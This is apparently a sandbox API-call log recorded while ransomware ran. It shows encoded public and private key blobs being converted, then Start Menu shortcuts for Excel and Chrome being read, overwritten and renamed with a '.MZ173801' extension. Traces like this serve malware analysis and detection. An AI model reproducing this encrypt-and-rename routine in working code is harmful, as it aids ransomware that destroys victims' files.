lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0207.241] GetCurrentThreadId () returned 0xab4 [0207.241] GetCurrentThreadId () returned 0xab4 [0207.241] GetCurrentThreadId () returned 0xab4 [0207.241] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0207.241] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0207.241] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0207.241] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x973 [0207.241] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0207.241] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x973, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x973, lpOverlapped=0x0) returned 1 [0207.243] CloseHandle (hObject=0x328) returned 1 [0207.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0207.353] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x973, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x973, lpOverlapped=0x0) returned 1 [0207.354] CloseHandle (hObject=0x328) returned 1 [0207.408] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk.mz173801")) returned 1 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] GetCurrentThreadId () returned 0xab4 [0207.446] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0207.446] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0207.446] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0207.446] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x926)) returned 1 [0207.446] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk")) returned 0x20 [0207.446] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0207.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0207.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0207.595] GetCurrentThreadId () returned 0xab4 [0207.595] GetCurrentThreadId () returned 0xab4 [0207.595] GetCurrentThreadId () returned 0xab4 [0207.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0207.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0207.596] GetCurrentThreadId () returned 0xab4 [0207.596] GetCurrentThreadId () returned 0xab4 [0207.597] GetCurrentThreadId () returned 0xab4 [0207.597] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0207.597] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0207.597] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0207.597] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x926 [0207.597] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0207.597] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x926, lpOverlapped=0x0) returned 1 [0207.599] CloseHandle (hObject=0x328) returned 1 [0207.599] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0207.816] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x926, lpOverlapped=0x0) returned 1 [0207.840] CloseHandle (hObject=0x328) returned 1 [0208.172] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.mz173801")) returned 1 